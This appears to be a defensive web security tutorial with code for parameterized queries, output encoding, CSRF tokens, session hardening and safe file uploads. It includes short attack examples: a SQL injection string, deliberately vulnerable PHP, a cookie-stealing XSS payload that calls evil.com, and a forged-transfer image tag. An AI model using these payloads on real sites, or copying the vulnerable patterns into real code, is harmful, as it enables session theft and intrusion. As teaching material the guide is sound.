Understanding web security threats is the first step toward building secure applications. Most attacks exploit common vulnerabilities that have well-established defenses. This guide covers the major categories of web security threats, explains how each attack works, and provides practical defenses you can implement today.

đź“‹ Key Takeaways
  • SQL injection remains one of the most damaging and preventable vulnerabilities
  • XSS attacks target your users, not your server
  • CSRF exploits user trust in authenticated sessions
  • Defense in depth—multiple layers of protection work better than one strong layer

I. SQL Injection

One of the oldest yet still prevalent attacks—attackers insert malicious SQL through user input.

A. How SQL Injection Works

// Vulnerable code
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";

// Attacker input: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'
// Returns all users!

B. Impact

  • Data theft: Extract entire databases including passwords.
  • Data modification: Change prices, balances, permissions.
  • Authentication bypass: Log in as any user including admin.
  • Server compromise: Execute system commands in some configurations.

C. Defense: Parameterized Queries

// PHP PDO - Secure
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

// WordPress - Use $wpdb prepared statements
$results = $wpdb->get_results(
    $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}users WHERE username = %s",
        $username
    )
);

// Node.js with mysql2
const [rows] = await connection.execute(
    'SELECT * FROM users WHERE username = ?',
    [username]
);

D. Additional Protections

  • Input validation: Whitelist expected characters and formats.
  • Least privilege: Database user should have minimal necessary permissions.
  • WAF: Web application firewall can catch obvious injection attempts.

II. Cross-Site Scripting (XSS)

Attackers inject malicious scripts that execute in other users' browsers.

A. XSS Types

  • Stored XSS: Malicious script saved in database, served to all users.
  • Reflected XSS: Script in URL parameter, reflected in page.
  • DOM XSS: Script manipulates page through client-side JavaScript.

B. Attack Example

// Vulnerable: Directly outputting user input
<p>Welcome, <?php echo $_GET['name']; ?></p>

// Attack URL:
// example.com/page?name=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

// Impact: User's session cookie sent to attacker
Ad Space - Mid Content

C. Defense: Output Encoding

// PHP - Always encode output
<p>Welcome, <?php echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); ?></p>

// JavaScript - Use textContent instead of innerHTML
element.textContent = userInput; // Safe
element.innerHTML = userInput;   // Dangerous

// WordPress - Use escape functions
echo esc_html($user_input);      // For HTML content
echo esc_attr($user_input);      // For HTML attributes
echo esc_url($url);              // For URLs

D. Content Security Policy

# CSP header blocks inline scripts
Content-Security-Policy: script-src 'self';

# This blocks:
# <script>alert('XSS')</script>
# <img onerror="alert('XSS')" src="x">

III. Cross-Site Request Forgery (CSRF)

Tricks authenticated users into performing unwanted actions.

A. How CSRF Works

// User is logged into bank.com
// Attacker gets user to visit evil-page.com containing:

<img src="https://bank.com/transfer?to=attacker&amount=10000">

// Browser sends request WITH user's session cookies
// Bank processes transfer thinking it's legitimate

B. Defense: CSRF Tokens

// Generate token per session
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Include in form
<form method="POST">
    <input type="hidden" name="csrf_token" 
           value="<?php echo $_SESSION['csrf_token']; ?>">
    ...
</form>

// Validate on submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token validation failed');
}

C. WordPress CSRF Protection

// Create nonce
$nonce = wp_create_nonce('my_action_nonce');

// In form
<input type="hidden" name="_wpnonce" value="<?php echo $nonce; ?>">

// Verify on submission
if (!wp_verify_nonce($_POST['_wpnonce'], 'my_action_nonce')) {
    wp_die('Security check failed');
}

D. Additional Protections

  • SameSite cookies: Prevents cookies from being sent with cross-site requests.
  • Require re-authentication: For sensitive actions like password changes.
  • Custom headers: API requests can require custom headers that forms can't add.

IV. Authentication Attacks

Attacks targeting user login systems.

A. Brute Force

  • Attack: Try many password combinations rapidly.
  • Defense: Rate limiting, account lockout, CAPTCHA after failures.
// Rate limiting with progressive delays
$attempts = get_failed_attempts($ip);
if ($attempts > 5) {
    $wait_time = min(pow(2, $attempts - 5) * 30, 3600);
    sleep($wait_time);
}

B. Credential Stuffing

  • Attack: Use credentials from other site breaches.
  • Defense: Breach password checking, 2FA, unusual login alerts.

C. Session Hijacking

  • Attack: Steal session cookies through XSS or network sniffing.
  • Defense: HTTPS, HttpOnly cookies, session regeneration.
// Secure session configuration
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JavaScript access
    'samesite' => 'Lax'    // CSRF protection
]);

// Regenerate session ID after login
session_regenerate_id(true);

V. File Upload Vulnerabilities

Malicious files uploaded through your forms.

A. Attack Vectors

  • Executable upload: PHP file uploaded and executed on server.
  • Double extensions: malware.php.jpg bypasses naive checks.
  • MIME spoofing: PHP file with image MIME type.

B. Defense Strategy

// Validate file type properly
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($_FILES['upload']['tmp_name']);

if (!in_array($mime_type, $allowed_types)) {
    die('Invalid file type');
}

// Generate new filename (never use user's filename)
$ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array(strtolower($ext), $allowed_ext)) {
    die('Invalid extension');
}

$new_name = bin2hex(random_bytes(16)) . '.' . $ext;

// Store outside web root if possible
move_uploaded_file(
    $_FILES['upload']['tmp_name'],
    '/var/uploads/' . $new_name
);

VI. Security Misconfiguration

Insecure default settings and exposed information.

A. Common Misconfigurations

  • Debug mode in production: Exposes stack traces and sensitive info.
  • Default credentials: Admin accounts with unchanged passwords.
  • Directory listing: Exposes file structure.
  • Verbose error messages: Reveal internal implementation details.

B. WordPress Hardening

// wp-config.php
define('WP_DEBUG', false);
define('WP_DEBUG_DISPLAY', false);
define('DISALLOW_FILE_EDIT', true);

// Hide WordPress version
remove_action('wp_head', 'wp_generator');

// .htaccess - Block sensitive files
<FilesMatch "^(wp-config\.php|xmlrpc\.php|readme\.html)$">
    Order allow,deny
    Deny from all
</FilesMatch>

VII. Sensitive Data Exposure

Inadequate protection of sensitive information.

A. Common Exposures

  • Passwords in plain text: Always hash, never encrypt or store plain.
  • API keys in source code: Use environment variables.
  • Unencrypted transmission: Always HTTPS, never HTTP.
  • Backup files accessible: Block access to .sql, .bak, .backup files.

B. Password Storage

// PHP - Use password_hash (uses bcrypt by default)
$hashed = password_hash($password, PASSWORD_DEFAULT);

// Verify password
if (password_verify($input_password, $stored_hash)) {
    // Login successful
}

// WordPress - Use wp_hash_password
$hashed = wp_hash_password($password);
wp_check_password($password, $hashed);

VIII. Dependency Vulnerabilities

Security issues in third-party code you use.

A. The Risk

  • Outdated plugins: Old WordPress plugins with known vulnerabilities.
  • npm packages: Supply chain attacks through compromised packages.
  • Abandoned projects: No security patches for discovered issues.

B. Defense

# Check npm packages for vulnerabilities
npm audit
npm audit fix

# WordPress - Keep everything updated
wp core update
wp plugin update --all
wp theme update --all

# Check for known vulnerabilities
# Use WPScan for WordPress
# Use Snyk for Node.js projects

IX. Defense in Depth Strategy

  • Layer 1 - Network: Firewall, DDoS protection, WAF.
  • Layer 2 - Server: Patched OS, minimal services, security headers.
  • Layer 3 - Application: Input validation, output encoding, CSRF tokens.
  • Layer 4 - Data: Encryption, minimal data collection, secure backups.
  • Layer 5 - Monitor: Logging, alerting, regular security audits.

X. Conclusion

Web security is an ongoing practice, not a one-time implementation. The threats covered here—SQL injection, XSS, CSRF, and authentication attacks—represent the majority of real-world vulnerabilities. Address these fundamentals first: use parameterized queries, encode output, validate CSRF tokens, and implement proper authentication. Then layer additional defenses and maintain vigilance through updates and monitoring. Security is never complete, but these basics dramatically reduce your attack surface.

What security measures have you found most effective? Share your experience in the comments!